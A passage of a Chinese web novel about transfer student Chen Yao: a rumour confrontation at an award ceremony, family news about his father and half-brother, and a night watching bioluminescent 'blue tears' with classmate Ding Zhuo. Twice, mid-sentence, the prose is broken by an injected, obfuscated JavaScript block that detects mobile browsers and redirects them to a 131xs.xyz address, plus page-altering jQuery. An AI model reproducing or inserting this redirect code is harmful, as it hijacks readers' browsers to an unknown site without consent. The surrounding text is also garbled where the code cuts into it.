一点进去就有人正在发视频,陈遥点开,是个室外篮球场,点开就听到喧嚣的人声,灯光朦胧,夜色迷离,镜头短暂的晃动后,画面很快定格在球场中一个男生身上。 虽然顶着高糊无清的画质,但他一下就认出来这个男生是丁卓。 发色抢眼是一方面,丁卓挺拔的身形也很好认,视频里有人把球传给丁卓,现场一下爆发起尖叫声,男的女的都有。 橘红色的篮球落在地上发出有力的“砰砰”声,丁卓带球进攻,对方也在全力防守,显然丁卓是他们眼中最大的敌人。 灯光四芒星一样散射,球场里的脚步声、尖叫声、还有不知道谁在放的Hip Hop音乐混杂在一起,但丁卓还是画面里不可置疑的男主角。 贴着丁卓在防的是个瘦皮猴,手长脚长,缠人缠得很紧。 但丁卓速度很快,进了三分线,他利落的一个后转身运球,瘦皮猴就被他甩下去。 跟着又有一个人冲上来,那人看着得有一米九几了,有三个丁卓那么宽,立在那儿像一堵墙。 丁卓猛地停步,照旧是一个后转身,随后起跳! 但城墙并非看起来那么笨拙,相反他巨大的身形使得他的防守不需要太多力气,眼看丁卓起跳,城墙跟着起跳! 就在城墙跃起身的同时,陈遥发现,丁卓竟然没有跳起来。 这是一个完全的假动作! 城墙在空中最高处时,丁卓弯膝蓄力,城墙落下时丁卓则起跳! 因为有了时间差,城墙想防守也根本防不到,只能尽量伸高手,可是跳跃在空中的丁卓根本不是他伸手就能干扰到的。 起跳,后仰,投篮! 完美的后仰跳投,橘红色的篮球在空中划出同样完美的抛物线,“嗖”的一声,空刷入网。 丁卓属于很酷的没有庆祝动作的那一种,他落地后抬手抹了把汗,面无表情地回防。 镜头追着丁卓的身形,扫过他让人心折的英俊侧脸,丁卓往这边扫了一眼,眼里带着少年独有的锋芒。 球场铁丝网外,椰子树的大叶片在晚风中悠然摇曳。 现场爆发出更为疯狂的尖叫声。 陈遥看完这个视频退出去时,群里已经自发有了队形。 -【[尖叫][尖叫]卓哥卓哥我爱你,就像老鼠爱大米![花花][花花]】 -【[尖叫][尖叫]卓哥卓哥我爱你,上天入地寻找你![花花][花花]】 -【[尖叫][尖叫]卓哥卓哥我爱你,多远都要在一起![花花][花花]】 陈遥:“……” 队形他不评价,不过丁卓确实是很帅,还是最招女生喜欢的那种有点危险感的帅。 陈遥再往上翻了一会儿,才看到@他的消息,时间差不多是周测刚结束那会儿。 一堆人在@他,问他这次考的怎么样,有没有把握继续给班里拿冰茶,顺便表达对他的崇拜与喜爱之情。 实际上因为颁奖的延迟,陈遥上周第一拿到的冰茶要下周一才到手,不过现在班里同学都开始想下周的冰茶了。 看陈遥半天没回,杜英杰主动打圆场说,学圣估计在做题,毕竟学圣每天中午都在做题。 然后林源源说,哇塞这你怎么知道?我都不知道! 陈遥:“……” 你不知道很正常吧,你上学的时候脑子不知道停在什么位置,但反正没在教室里。 陈遥想回一句这次肯定还第一,但想了想,都过去这么久了,也没有人追问,何况现在班群里大家都陶醉于丁卓的球技,他不想跳出来吸引目光,于是就此作罢。 . 转眼又是周一。 对陈遥来说是个很普通的周一,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883306|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴士司机“灰鸟路到啦!”的愉快声音中他下车,走过开着凤凰花的小路,赶在天气变得燥热之前钻进教室。 一进门就看到了心情很好的班主任,往常班主任都是卡点到教室,这次也不知为什么来的这么早。 不过很快陈遥就知道了。 “来来来陈遥。”秦老师热情地冲他招手,“等会儿升旗仪式,你记得上台领奖。团徽带了吗?要不带个团徽吧,显得乖一点儿。” “没有是吗?没事,我办公室有,走,我去拿给你。” 看得出,班主任对本班有同学因成绩优异登上学校领奖台这一历史事件骄傲得很。 他甚至已经在为等会儿的领奖分工合作。 “生活委员?生活委员在不在,去后勤借板车,今天咱们得搬饮料。” 林源源噌地站起来,脆生生地答,“好嘞!” 陈遥惊讶地看着同桌,没想到她每天在学校除了睡觉和偷玩手机,还是有点正事做的。 . 升旗仪式的铃声响起时,班级其他人往操场的位置走,陈遥则去到主席台那边,他们受到表彰的学生会在这儿参加升旗,之后依次上台领奖。 这种领奖环节陈遥已经参加得不要太习惯了,换个陌生的地方完全不会有任何影响。 他走到主席台后时,那里已经聚集了七八个学生,全部是生面孔。 这些学生好像互相认识,正在热闹的说着话,但陈遥很快发现情况并不是看上去这样,实际上这些学生簇拥在一个男生周围,听那个男生讲话。 男生的声音轻声细语的,还挺好听,但他用的是方言,陈遥完全听不懂。但那张脸上周在主席台上见过。 就是二班的学习委员,林瑞泉。 陈遥本来没把这当回事,本来别人就更熟,有话讲也正常。可是当他走到附近时,本来在讨论的几个人突然全都不说话了。 他们偷偷地看着陈遥,随后又看向林瑞泉。 陈遥:? 他心说,嘿我这暴脾气。 陈遥虽然看起来非常乖但并不是那种胆小怕事的小孩儿,能把自己搞到被老爸“流放”这种境地,就足以说明他还挺烈的。 他直接就走到了那群人面前。 这些人是三个年级各班的学生代表,他们看着陈遥的目光不是很友好,仿佛在看一个骗子。 陈遥没在意,他对着林瑞泉笑了笑。 陈遥笑起来有种温柔端方的亲和力,让旁边那几个学生都愣了一下,对林瑞泉刚刚小声告诉他们的一切突然平添了几分质疑。 “林瑞泉同学,过来一下。”陈遥说,“我有话想跟你说。” 走出去没几步远,也不需要太远,陈遥停下来,回头看着林瑞泉。 . 当着这么多人的面,林瑞泉只能过去。 他很瘦,还矮,蘑菇头,戴着厚厚的眼镜,其实陈遥也是偏瘦的身材,但是林瑞泉站在他边上就好像一只小虫。 他看着陈遥,神情很警惕,似乎随时防备着陈遥给他一拳。 陈遥刚一站定,林瑞泉立刻开口警戒:“陈遥,我劝你不要轻举妄动,违反校规的话,你绝对没好下场。” “什么轻举妄动?你想什么呢。”陈遥说,“我就是想跟你说两句话。” 林瑞泉一愣,好不容易攒起来的气儿突然就泄了。他不太有底气地:“什么话?” 陈遥弯弯嘴角:“我知道你刚刚和他们在说什么。” 无非就是说他作弊,抄答案那些。 陈遥从林源源那大概了解了一下,别人从他不需要交作业、上课基本不听等角度全面分析。听起来还有几分道理。 但这不是污蔑别人作弊的理由。 “什——我没……”林瑞泉脸色一变,还想说话,陈遥已经平和地打断了他的发言。 “不需要解释。”陈遥笑了笑,“欢迎你也加入我的队伍哈,免得下次周测再比我低一百多分,有点丢人。” 8. 【八】 陈遥那句“比我低一百多分”说出来,林瑞泉的脸一下就绿了。 本来他还想装下柔弱,这回也装不下去。 “你怎么这么说话?”林瑞泉声音一瞬间拔高了,“一上来就嘲讽别人分比你低?怎么了,技不如人不可以吗?” “还说什么怀疑你抄就跟着你一起抄?你在侮辱谁啊!” 林瑞泉故意把说话声音放得很大,这样旁边的人都能听到。 陈遥没说话,舞台让给林瑞泉继续表演。 见陈遥不反驳,林瑞泉更是往前一步,义愤填膺地看着陈遥。 “陈遥,我知道你是转校生,考了第一觉得自己很厉害,确实我们本来也不是什么特别厉害的学校,这没关系,第一让给你。” “但是你拿了高分还不满足,还说我怀疑你作弊,这就太过分了!你这样说我,不光是看不起我的成绩,更是侮辱我的人格!” 周围的学生听到林瑞泉这番委屈的控诉之后,互相交换着目光。 他们也觉得陈遥这种高高在上的态度,确实太过咄咄逼人。 林瑞泉说完这番话,愤愤不平地看着陈遥,他眼眶都被气得通红。 一旁的操行老师也注意到这边的骚乱,立刻过来维持秩序:“怎么回事?” . “老师!”林瑞泉立刻先人一步冲上前,“我刚才正常和同学聊天,陈遥突然走过来找我麻烦,说我跟别人讲他周测作弊!还攻击我分数太低!我真的冤枉死了!” “我承认我不如他,但是我绝对不是那种品德败坏的人!” 操行老师的眉头深深皱了起来,成绩好坏在二中尚属其次,学生的人品被放在第一位,要是真出了这种编排同学的事,那才是真的要严肃处理。 “是这样吗,陈遥?”操行老师看向陈遥。 陈遥刚才一直不说话不是因为没话说,他是在等一个合适的时间。 那个合适的时间就是现在。 “不是这样的,老师。”陈遥说,“我从头到尾都没有说过林同学说我作弊,这是他自己说的。” . 不要说其他人了,就连义愤填膺的演员林瑞泉本人,在听到陈遥这样说时都愣住了。 他一下子意识到自己犯了什么错误,脸唰的白了。 “我只说了一句‘我知道你在说什么’,在场的同学都听到了,他们都能为我作证。”陈遥说。 “至于‘周测作弊’之类的话,都是林同学自己说出来的,他为什么会这样脑补我说的内容,我就不清楚了。” 操行老师眉头一下子拧成了“川”字。 刚刚还跳得正欢的林瑞泉瞬间僵住了。 他进攻得太急,完全忽略到这个致命的破绽。 这么一来,品德败坏的人就不再是陈遥,而是贼喊捉贼的他自己。 . 气氛好像都变得更凝重,热意仿佛实体,弥漫在主席台后,树荫下的这块小小空间里。 操行老师转向旁边的学生,“所以你们听到的是什么样?” 那几个学生你看看我,我看看你。 虽然他们跟林瑞泉更熟一些,但事实摆在这里,老师面前谁都不敢说谎。 “陈遥确实什么都没有说。”一个高一女生壮着胆子回答道。 不过她和林瑞泉平时关系不错,所以想想还是找补了一句,“但林瑞泉可能也是误会了什么。” 林瑞泉本来呆呆地站在那里,厚厚的刘海和眼镜片遮挡住视线,感觉他整个人都被判了死刑。 直到听到这女生的话,他突然反应过来。 林瑞泉猛地看向老师,急切地说:“对!我是听别人这样说的!他们传的很夸张,说陈遥同学靠作弊考了高分!” 林瑞泉又转向陈遥:“说你上课不听课,作业也不写,分数还很高,成绩来得不正常,我觉得有点道理就相信了!但现在我知道错了!” “我不应该到处传话,更不应该不向你求证,我向你道歉!对不起!求求你原谅我!” 这人倒是会转移重心,自己编造同学的谣言和传播相比,哪个更严重,所有人心里都很清楚。 不过上台在即,陈遥没有确切的证据,而且站在一旁的操行老师看起来也更想息事宁人,陈遥也就借坡下驴。 “我接受你的道歉。”陈遥笑了笑,他笑起来不管是谁都会觉得这真是个又温柔又好看的少年人。 陈遥说:“希望你以后认真分辨,不要相信这么无脑的谣言。” 林瑞泉栽赃不成,还被陈遥骂了一句无脑,气得不行,但没办法只能装孙子,他连连点头:“好的,我记住了。” —— 表彰过程倒是没什么特别的,从小到大陈遥领奖都已经领到手软了,倒是表彰过后的领奖环节比较少见。 主要因为奖品是六箱冰茶,这么接地气的奖品在其他地方还是很少见的,以前陈遥拿到的都是钢笔、笔记本什么的,不过让他选的话他确实比较喜欢冰茶。 陈遥刚下台就看见林源源和班上另一个男生一起拉着板车冲了过来,喜气洋洋如同来领鸡蛋的老头老太太。 白桃冰茶是学校食堂的出品,之前二班拿到了都是高价卖给别的班,林源源给陈遥拿过一瓶,味道确实不错。 林源源和那个男生交替干活,一人一箱把冰茶全都扛到板车上,他们边扛冰茶,还不忘你一句我一句地吹捧陈遥。 “我看咱们要不给学霸搞个封号。”那男生提议,“就叫冰茶仙人怎么样?” 陈遥:? “诶?好啊好啊!”林源源兴高采烈。 陈遥:?? 你居然还觉得这个想法很不错? 眼看势头不对,陈遥赶紧阻止,并且连续否决了冰茶仙人、考试仙人、周测仙人、表彰仙人等一大串名头,从根源上阻碍了自己获得可以被嘲笑一年的外号。 那男生和林源源看起来非常惋惜,林源源甚至谴责陈遥没有创意,陈遥不为所动。 他心想,谴责就谴责吧,总比以后谁找他开头都来一句“仙人”强。 …… 上周的周测第一只是开始,接下来的一周,陈遥当然还是第一,地位无可撼动。 林瑞泉在陈遥的刺激下考高了20分,突破600大关,但和陈遥之间百位数仍旧差着一位,其他就更不必说。 每次考试班里都会张榜,这次陈遥特意过去看了看成绩,不出意外的林源源排在最后,出乎他意料的则是丁卓。 上周五丁卓参加了周测,陈遥本以为他和林源源应该稳坐全班的后两名,实际却并非如此,丁卓参加考试的话,成绩在班里中等略微偏下。 考虑到他都不怎么上课,这其实是一个很不错的分数。 丁卓本人则在期末前最后两周里,依旧保持着经常不来学校的状态,陈遥基本上隔天能见到他就算不错。 有一天他们上体育课,出门时林源源叹着气说:“好烦啊,体育课都不让请假,好想溜出去看卓哥排练。” “他还在准备端午活动吗?”陈遥问。 “对。”林源源比了个“bingo”的手势,“最后一周了,现在排练都是带妆的,要是能去现场就好了,可好看了!” “丁卓……”陈遥迟疑了下,感觉自己多管闲事,但确实他又有些在意,“他一直都是这么排练的吗?” “什么叫一直?”林源源没太懂。 “就是整个学年都这样,来一天请一天假,甚至来一天请两天假?”陈遥问,“他的老师、家长什么的,不会有意见吗?” 虽然陈遥也知道,像丁卓这种专长某一技艺而疏忽学业的同龄人大有人在。但二中是普高,又不是职业学校,发生在他身边,他总觉得有点儿……别扭。 说不出为什么。 还好,林源源的回答让他心里舒服了点。 “当然不会整年都这样啦。”林源源说,“也就这一两个月吧,端午节过去就好了。” . 端午节迎神当天是期末考试日,也就意味着至少本学期内,丁卓是会长期缺席了。 不过丁卓在或不在,其实也没太大的差别。 在学校他人很沉默,上课时偶尔听听,大部分时间睡觉,扮演赏心悦目的教室一角。 只是他太受欢迎,就算不说话也很受关注。到了中午所有人都会簇拥过去找他说话、邀请他吃饭,他的存在感一下就会提高。 陈遥的日常还是做题、休息、被杜英杰邀请着吃饭。 在陈遥连拿两周年级第一之后,他桌子上开始经常会出现一些包装精美的小零食、还有饮料,有的上面还贴着爱心贴纸。 这种小礼物找不到赠送者,退回也没有意义,陈遥吃不完的就分给林源源。 林瑞泉那边没再有什么动静,那天主席台后的事情让他消停了。 摩擦没有传出去,倒是有一些小小的流言,比如林源源曾经好奇地问陈遥,为什么听说林瑞泉被你用大树枝狠狠地揍了? 陈遥:“……” 自己听听这合逻辑么! 天气越来越热,陈遥好像慢慢习惯小镇上的生活。 转眼间,期末考来了。 . 期末考试是全市统考,石浦镇的卷子跟小镇所属的淮宁市一致,考前各科老师都打了预防针,说这次考试会很难。 ——对二中来说当然难,二中的教学难度在全省看来都是很低的那一档,连中等偏低都算不上。 为此班主任还特意找陈遥去办公室,关心他状况,甚至含蓄地表示“如果期末考成绩不如预期也不要气馁”。陈遥笑了笑说不会。 其实不是“不会气馁”,而是“不会不如预期”,市统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883307|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考的难度陈遥心里有数,和省城的统考差不离。 之前在省实验时,每次月考、期中考试,都是被学校自主命题的高难度题目折磨,期末考试全市统考,整个学校的平均分都能一下提高好几十。 期末考试那天,全年级的座位打乱。 陈遥到教室一看座位表,好巧不巧,他旁边安排的就是丁卓。 他还稍微期待了一下丁卓会来考试,结果是没有。 期末考试两天半,陈遥两天半和空座位为邻。 考试的题目如他所想,基本没什么难度,考完后陈遥也难得真有了些放松的心情。 . 陈遥早就跟叔叔说好,期末考完都可以去帮着看店,因为正是农忙季节,“迎龙王”前后镇上又有游客,很缺人手。 何况他一直觉得亏欠真心实意照顾他的叔叔。 考完试出校门,陈遥在街上扫了辆共享电动车,径直去到叔叔的面馆。 他骑到面馆附近的还车点,心情还不错,想要吹吹海风,一路走过去。 盛夏的阳光滚热,即使还是阴天也一样灼人,天是雾蒙蒙的灰蓝色,这种颜色陈遥已经看得很习惯。 班群里又在发视频,看封面应该是迎神活动现场的视频,陈遥正准备点开,突然梁轩给他发了条消息。 他也就先切出去看。 -【梁轩:[撒花]考完了!】 -【陈遥:我也考完了!】 -【梁轩:那……我跟你说个事儿?】 虽然不是晴天,但海边的天光还是灼得屏幕晃眼。 陈遥突然觉得梁轩这语气不对。 . -【陈遥:你说。】 梁轩直接打了语音过来:“你爸最近联系你了吗?” “没。”陈遥不祥的预感更强烈了。 要知道梁轩的情商很高,绝不是那种会大惊小怪,或者传播一些垃圾情绪的人。他这样找过来肯定是有什么必须要他知道的事情发生。 陈遥问:“怎么了?” “就是……”梁轩犹豫了一下,“其实不是最近的事儿了,但是我怕影响你考试就没跟你说。” “那天班头儿找我去搬东西的时候,我看见你爸带着一个皮肤特别白的男生去学生处登记,那是不是你弟啊?他好像要用你空出来的名额进省实验。” 那天。 陈遥也不知道自己第一反应的重点怎么会在“那天”这个词上,仿佛要证明这件事的真伪。 他回忆了一下才想起来,就是前几天,梁轩闲聊问他暑假回不回去,之后被老师叫走了。 怪不得梁轩之后不问了。 . “应该是我弟。”陈遥擦了把额头上的汗,心想鬼天气怎么能热成车样子,“那他进学校了吗?” “你弟成绩还行,当然跟你比肯定差远了,但是过了入学考试。”梁轩咬牙切齿地说,“我估计他进实验是板上钉钉的事。” “行。”陈遥都不太确定自己在说什么,“挺好。” “你……别太着急。”梁轩担心地说,“无论如何我们都不会让他插到班上来,他成绩也不够进我们班。我们会帮你盯着他。其他的……你还需要什么吗?哥们尽力去做。” . 怎么挂的电话、怎么去到面馆、怎么笑着听了叔叔一堆嘱咐,全都记不清了。 陈遥回过神来时,自己已经又坐在了面馆的柜台后面。 需要什么?他真不知道需要什么。需要他弟弟滚远一点,但又做不到。 不开灯的时候这家小店好像一个小小的洞穴,不算温暖,但至少可以窝在里面,与世隔绝。 狭小的店面里只有空调和冷饮柜运转的嗡鸣声,陈遥现在的脑子也差不多。 他突然觉得自己挺搞笑的。 他之前一直很坚定地认为,他爸把他送来这里,威胁他,都只是为了要他低头,要他承认自己的新“家庭”。 完全没想过,也许他爸是为了给他的新“弟弟”腾个名额。 . 外面的天又阴下来,其实一直都是阴的,石浦基本没放晴过。好像又要下雨。 下雨又能怎样呢?他好像只有坐在这里等雨停。 很多事情他都没办法左右,甚至连承受都很难承受。 “啪”的一声,店里的灯突然开了。 突如其来的明亮有些刺眼,陈遥条件反射地起身,准备招呼客人,在看到来人时又猛地一愣,丢失的感官稍微回来了一点。 丁卓站在门口,灯光勾勒出他的轮廓,那张不良少年气质的脸在灯光下竟然显得有点温柔。 . 和陈遥错愕的目光相对时,丁卓笑了下:“我就说隆叔的店怎么还开着,他应该很忙。原来真是你在这儿。” “你怎么了,猫在这里连灯都不开?” 9. 【九】 陈遥本来不想说,一方面他不想吐苦水,另一方面他不觉得很多同龄人能像梁轩一样共情他这复杂的状况。 可现在他心里确实很烦,而且丁卓和石浦镇上的其他人不一样。 按理说丁卓这样的体育生型帅哥应该配个不太灵光的脑子,但他确实挺聪明的,也很敏锐。 否则他都不会想到是陈遥在看店,更不会关心陈遥的状况。 更重要的是,他们好像有一点点熟。 那稍微说一点也没关系。 “我跟我爸吵架了。”陈遥说。 “你爸?”丁卓因为这个新出场角色愣了一下,“隆叔和他的关系是?” “他俩是兄弟。” “哦,那我好像听说过你爸那个人了。”丁卓啧了一声,“你继续说。” 陈遥都不用问就知道丁卓听过什么,不可能是好话。 这里的任何一个人都不可能对陈树科有好话,包括陈遥自己。 “我得先给你介绍一下背景。”陈遥说,“就是,我妈妈去世了。她一直都身体不好,很多时间在医院,我妈三年前走的,今年过年我爸带了个女的回家。” “你可能觉得我不占理,不接受他有新生活。但不是这样的,那个女的很早以前就和我爸认识,从我上小学开始,我爸我妈就因为她吵过很多架。” 陈遥不可能忘掉今年过年的场面。 被红灯笼、剪纸、年画装饰得喜洋洋的客厅里,他爸、爷爷、奶奶,围在一起数落他。 指责声从四面八方传过来,说他小小年纪这么自私,说他爸已经很尊重他妈妈,已经三年过去了,要大度一点允许父亲有新的生活。 陈遥清楚记得那一天每个人的眼神,每一句话。 他记得那一刻,他想把所有的话都喊出来。 想说尊重体现在哪里了,他三年前就看到过眼前这对男女周末在一起有说有笑。想说,没当面说出来希望他妈妈早点死就算是尊重了吗? “但所有这些我当时都没说。”陈遥自嘲地笑了笑。 “我懂。”丁卓说,“很明显,你爷爷奶奶偏向的是你爸,而不是你,所以你说出来也没用,事实是什么样对他们来说根本不重要。” 短暂的沉默。 陈遥低头揉了揉眼睛。 就算是坐在客厅里被所有人轮流指责的时候,陈遥都没有想哭的感觉,他那时候只想战斗到底。 但现在他心里酸得发软,可能是被看见的时候,才会卸下那些防御情绪。 丁卓转身从冰柜里又拿了两瓶绿茶,正要扫,被陈遥拦住了。 “今天我请你。”陈遥说。 “不用。”丁卓说,“我——” 陈遥:“闭嘴,我请你。” 丁卓愣了愣神儿:“……好。” 莫名地感觉被柜台后面的小花猫凶了一下。 . 绿茶在冷柜里冻了很久,攥着冰冰凉的瓶身,感觉还挺舒服,刚有点激动的情绪也平复下来。 “所以你来石浦的原因是?”丁卓问,“不会就是因为跟你爸闹的关系不好,所以被发配过来了吧。” “嗯。”陈遥点头,“他说我不道歉就别回去了。” 丁卓看了陈遥一会儿,笑了下:“二中和省实验的差距那么大。我以前还觉得你挺聪明的呢。” 陈遥:? 不过丁卓接下来的一句话是:“但换我的话,应该我也会这么做。” 刚刚冒起来的火又消了。 “那你过来石浦——”丁卓话说了一半,突然被开门声打断了。 两人同时往门口看过去,进门的是一对小情侣,看打扮就知道是游客。 几乎是这时,陈遥才想起自己在开店的事实。 . 叔叔的面馆虽然小,但收拾得很干净明亮,菜牌整齐地贴在墙的一侧,售卖本地特色的沙茶面,游客路过很容易想来上一碗。 这对情侣很明显就产生了兴趣,女生已经认真在研究菜牌上的各种组合。 男生看到陈遥和丁卓两个都很年轻,不太确定地问:“你好,现在能吃饭吗?” 陈遥当然做不了饭,叔叔跟陈遥说的是,只要卖卖饮料就行了。 陈遥:“抱……” “当然可以。”丁卓说,“你们想吃什么?” 陈遥:??? 他极度错愕地看向丁卓,丁卓冲他使了个眼色,示意不用担心,然后丁卓问那对情侣:“你们想吃什么?” “你们这儿招牌是什么?”女生问。 “没有招牌,看你喜欢吃什么。”丁卓答,“一般点的比较多是猪杂和海鲜的。” 女生和她男朋友商量了几句,问:“海鲜的多少钱?” “25啊。”丁卓指了指菜牌,“那上面不是写着吗?” “就25?没有别的费用?”女生惊讶地重复了一遍,“那我们要一碗海鲜的,一碗猪杂的。” 丁卓看了陈遥一眼,陈遥一愣。 丁卓冲他比个口型,陈遥这才反应过来,赶紧把柜子后面的二维码翻给这两个游客:“扫这儿就行。” . 眼看丁卓进了后厨,陈遥赶紧也跟过去,倒不是担心丁卓捣乱,他就是有点难以置信,难道丁卓真会煮叔叔店里的面? 后厨不大,东西很多,但很整洁,地板和灶台都擦得锃亮。 左边是灶,右边是冰柜,灶上有一口大肚子锅和一口小锅。 掀开锅盖,看到大肚锅里面盛着沙茶面的汤底,沙茶酱、花生酱、辣椒油混合在一起,是油汪汪让人很有食欲的橘红色。 丁卓先去把火打起来,随后接了一瓢清水倒进小锅里。 接着他非常利落地戴上手套,从右边的冰柜里依次捡出瘦肉、猪肝、猪粉肠、猪腰片、花蛤、大虾、鱿鱼,还有几片生菜。 灶台火力很大,小锅里的水一下就烧开了,丁卓把面放进去烫,烫面的功夫他把鱿鱼片放在案板上,非常利落地改好花刀。 之后捞面,把面条码进刚刚从消毒柜取出来的面碗里。 然后下猪杂面的食材,猪杂烫到嫩嫩的刚刚变色就捞出来,再烫海鲜面的食材。 鱿鱼片被开水一烫就卷成了漂亮的鱿鱼花,花蛤开了口,露出饱满肥美的白肉,大虾也变成了诱人的红色。 这时大肚锅里的汤底刚好煮开,丁卓把两份面的食材都码好,两碗面各加上三勺汤和花生碎。 滚热的汤底浇进碗里,激发出浓郁鲜美的气息。 丁卓这一串动作极其丝滑,让人感觉他在面馆少说干过十年,陈遥看得眼睛都直了。 两碗面端上去之后,小情侣刚简单尝了一下就赞不绝口。 “我的妈太好吃了!”那男生连连说道,“这鱿鱼好新鲜!咬起来都弹牙!只要25一碗,这谁能想得到啊!” 那女生则突然认出了丁卓,“哎,帅哥,你是不是刚才迎龙王仪式上那个旗手?” “对。”丁卓答。 “能合个影吗?”女生问,“刚才在那边 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“风景很美,游客不多所以体验不错,迎龙王的仪式也好看,尤其是小哥你,站在高杆上挥大旗的样子真的太帅了!”女生说。 她和男生又对视了一眼,“不过……要是没有那么多乱收费就更好了。” “什么乱收费?”丁卓一愣,“迎神是镇上重要的仪式,怎么会收费呢?” “迎神仪式是不收费啦。”那个男生说,“但是我们在路边停一次车要10块,买瓶矿泉水也要10块,买赶海的小桶说是10块,撕开包装才告诉我们,铲子还得再收25。猪都禁不住这样宰。” “说实话,我进你们店看到海鲜面25块,我都担心是面25,海鲜再额外收我100,都是在海边被搞怕了。” “他们这么夸张?”丁卓一愣。 “其实也就是一小部分人这样,镇上大部分体验还是很好的。”男生补充道,“小哥你也别多想,石浦总体来说还是很好的。” “就是,我们在镇上吃的大部分东西都很好吃,酒店也便宜。”女生附和,“走了小哥,我们准备去看蓝眼泪,到时候把照片寄给你们。” 丁卓笑笑和这两个人挥手,陈遥也跟着挥手。 . 等到他俩走远了,陈遥问:“蓝眼泪是什么?” “就是我们这边一种自然现象,海浪冲上沙滩会带有蓝色的荧光,好像是一种藻类。”丁卓说,“挺好看的,每年这季节都有游客专程来看。” “每天都有吗?”陈遥饶有兴趣地问。 “不是每天都有,要海里藻类聚集得多,到了晚上才会发光。”丁卓说,“按说这段时间蓝眼泪季已经差不多结束了,不过白天确实听他们说过,今天上午海是红的,有很多藻类,晚上应该有蓝眼泪看。” “在哪里看?”陈遥问。 “大沙滩那边,你想的话带你去看。”丁卓说,“反正迎神结束了,我现在很闲。” 反正期末考结束了,陈遥现在也很闲。 . 看看时间,差不多也该关店了,做好清洁就可以出门。 刚刚那两个顾客的面碗还摆在桌子上,丁卓很自然地过去收碗,陈遥赶忙阻拦:“我来。” “没事儿,一点小活儿而已。”丁卓说。 “咱俩谁在看店?”陈遥瞪了他一眼。 丁卓:。 他顺从地把碗放回去了。 好凶。 10. 【十】 洗碗这种小活儿陈遥还是随便搞定的,不可能让丁卓又当爹又当妈……应该说是又做饭又洗碗。 实际上陈遥觉得煮面他也会了,看了两遍没有学不会的道理。 就是不同的食材要烫多久他心里没数,到时候再学一下,就完全可以在看店时帮着做煮面生意,这才叫真的帮到了叔叔婶婶。 忙活了好一阵,都收拾好出去,看见丁卓在刷短视频。 视频里是很漂亮的小猫,但是又凶巴巴的。 陈遥心想这就是所谓的猛男也拒绝不了小猫咪吗,不过确实,他也很难拒绝小猫咪。 丁卓听到他的动静,回过头看了一眼,收起手机站起身:“走吧。” “咱们怎么过去?”陈遥问。 “骑车。”丁卓想了想,“要不我带你吧,这里的路你要是不熟的话,到了晚上不那么好走。” “不用。”陈遥豪气地一摆手,“不就是个海滨公路么。有什么不好走的。” 丁卓也不知道想到什么,眼里露出意味深长的笑意,“那行。” 走路几分钟的距离就有一家电动车行,丁卓带陈遥去租车。 准备付款时老板摆了摆手:“丁卓你还付什么钱,把车完好无损骑回来就算啦。” “好有面子啊,你。”走出车行,陈遥悄悄感慨。 “没有,单纯就是大家都认识。”丁卓说,“车行主要做游客生意的,不收本地人钱。” “但这边好像游客不多吧?”陈遥说。 “是啊。”丁卓说,“所以你没看车也没几辆么。” 陈遥:“……” . “你跟在我后面吧。”丁卓跨上车,“头盔戴好。实在害怕的话就闪灯。” 陈遥起初想的是我闪个屁啊,骑个环海路而已有什么好怕的。刚才就在说这段路没那么好走,一条公路而已,有什么不好走的。 但骑了一会儿之后,他就发现,丁卓说的不是一件很离谱的事。 海在夜晚黑的很纯粹,什么月光啊波光啊全都没有,有路灯的地方还稍微有点光,没有路灯就纯粹是漆黑一片。 但浪潮声和海风声很响,一波又一波地汹涌着。 关键是路边还有树林,很大片的树林,余光一晃,里面摇晃的树枝都像人影在飘。 说实话,要是没有丁卓,陈遥绝对不会一个人骑这段路,就算有丁卓壮胆,他心里都发毛。 陈遥真的生出几分闪灯的心思,但男子汉大丈夫,怎么能让人看扁了。他抱着这样的想法,才坚持到骑出公路。 还好,公路外面就有灯,海滩就在面前。 石浦很多区域临海,这片海滩是风景比较好的一处,现在海滩上都还有游客。 一些车停在路边,还有些夜里摆摊的镇民,打着灯,卖饮料、花环和漂亮的发饰,比如猫耳发箍上缠着会发光的小灯。 平时看起来廉价的小装饰品在夜色里如梦如幻,还有游客带了仙女棒,在夜色里呲呲啦啦地绽开朵朵灿烂的小花火。 但最吸引人的还是海浪。 海浪缓缓地冲刷着沙滩,每次浪来到滩涂上拍打沙粒时,会泛起浪花。 本该是白色的浪花,这时看来竟然是荧光细碎的蓝。 如果不是这片海岸线这么长,而且每一道浪花都泛着梦幻般的蓝色的话,陈遥简直要以为这是灯光或者其他什么人工造景。 “这就是蓝眼泪。”丁卓在旁边说。 “好漂亮。”陈遥情不自禁地说。 “马上气温升高,藻类被晒死,今年的蓝眼泪就结束了。这应该是今年最后一场大爆发的蓝眼泪。”丁卓说,“我们运气很好。” 陈遥看到有些游客在踩水,他们的小腿和脚上,刚刚离开海水时也会残留蓝色的荧光。陈遥看着好玩,问:“我能不能去盛一瓶蓝眼泪回来?” “可以是可以,但是在瓶子里它好像死的很快,基本上不会发光。”丁卓说,“而且最好别去踩水,挺多人对那种藻类过敏,会起疹子。” 陈遥一听起疹子就打消了念头,“远远看着也挺不错的。” 丁卓笑了笑。 “你好像在嘲笑我?”陈遥看着他。 “没有。”丁卓表情很正经,“我是觉得,你又没生活在海边,对蓝眼泪不了解不是很正常么。” 